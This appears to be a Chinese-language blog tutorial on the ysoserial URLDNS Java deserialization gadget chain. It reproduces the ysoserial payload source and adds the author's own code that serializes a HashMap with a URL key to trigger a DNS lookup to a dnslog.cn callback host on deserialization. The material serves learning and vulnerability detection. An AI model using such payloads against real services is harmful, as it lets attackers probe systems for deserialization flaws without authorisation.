URLDNS是https://github.com/frohoff/ysoserial的一个利用链,算是比较简单的一种,代码如下:
package ysoserial.payloads;import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;/*** Gadget Chain:* HashMap.readObject()* HashMap.putVal()* HashMap.hash()* URL.hashCode()***/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); URL u = new URL(null, url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode", -1); return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}
上面比较抽象,在这里,我自己写一些代码,来解释URLDNS:
条件
由于反序列化时,需要调用的是readObject()方法,而开发者经常自己会重写readObject()方法。
首先,要满足反序列化攻击,需要满足的几个条件:
- 共同条件:实现
Serializable
接口,即:可以序列化的 - 入口类(source):重写readObject方法,而且最好在重写的readObject方法里面还调用一个常见的函数(hashCode函数,toString函数等),
- 参数类型宽泛,最好jdk自带的,比如Map接口,HashMap类,HashTable;
以HashMap为例
- 首先可以序列化,因为实现
Serializable
接口
- 参数类型宽泛,因为HashMap接受的类型是Object
- 而且jdk自带
- 重写readObject方法
为什么HashMap类要重写readObject方法呢?因为HashMap需要保证键(key)的唯一性,所以需要计算键(key)的hashCode,如下图:发现调用了hash函数
继续跟上去,发现hash函数接受一个Object类型的key,如果不为空的话,就会调用key的hashCode()函数来计算hashCode()
即:HashMap
的readObject()
HashMap
的putVal()
HashMap
的hash(key)
HashMap
的hashCode()
: key.hashCode()
调用链(gadget chain)
一般是利用相同名称,相同类型
由上面条件可以知道,我们新建一个HashMap时,会计算key的hashCode值,即最终会调用key.hashCode(),而如果我们传入的key是一个java.net.URL
对象呢?我们看看看URL类的hashCode方法:
上面发现首先自定义了一个hashCode变量,然后判断hashCode值,如果值不等于-1,那么直接返回hashCode值,否则再执行handler.hashCode()
方法,接着跟下去:
发现handler的hashCode()
方法,会执行getHostAddress()
方法,接着跟着getHostAddress()
走:
getByName()方法的作用是根据域名获取其ip,其实就是一次DNS查询。
即:
URL.hashCode
handler.hashCode()
getHostAddress()
getByName()
知道了整个逻辑,写如下代码
有几点要注意:
1,为什么要使用反射修改hashCode的值呢?
答:因为如果hashCode的值不等于-1,就不会执行hashCode()方法了,由于HashMap在put的时候,也会调用putVal(),hash()方法,所以我们需要在put之前就利用反射把hashCode的值改了,只要不为-1就不会再序列化时调用hashCode方法了,否则会在序列化阶段就执行hashCode()方法。在执行put方法之后,我们再利用反射把hashCode的值设为-1,让其调用hashCode方法,从而解析域名,发送一次DNS请求。
package io.ser2;import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class Serializable {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {System.out.println("序列化中===========");URL url = new URL("http://wo3i7l.dnslog.cn");//通过反射设置URL对象的hashCode值Class<?> clazz = Class.forName("java.net.URL");Field hashField = clazz.getDeclaredField("hashCode");hashField.setAccessible(true);//这里hashCode不能设置为-1,因为不是-1就不会调用hashCode()方法了。而在下面设置hashCode为-1,是因为我们想让在反序列化的时候执行hashCode()方法hashField.set(url,123);//定义一个HashMapHashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();//初始化一个URL对象,作为key放在hashmap的key中hashmap.put(url,1);//在这里设置hashCode为-1,是因为我们想让在反序列化的时候执行hashCode()方法hashField.set(url,-1);serialize(hashmap);System.out.println("序列化完毕==========");}private static void serialize(Object o) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));oos.writeObject(o);oos.close();}}
package io.ser2;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class DeSerializable {public static void main(String[] args) throws IOException, ClassNotFoundException {System.out.println("反序列化中=========");deserialize();}public static Object deserialize() throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));Object o = ois.readObject();ois.close();return o;}}
此时看urldns源码
总结一下
URLDNS的利用链如下,这里直接引用p牛的,p牛牛p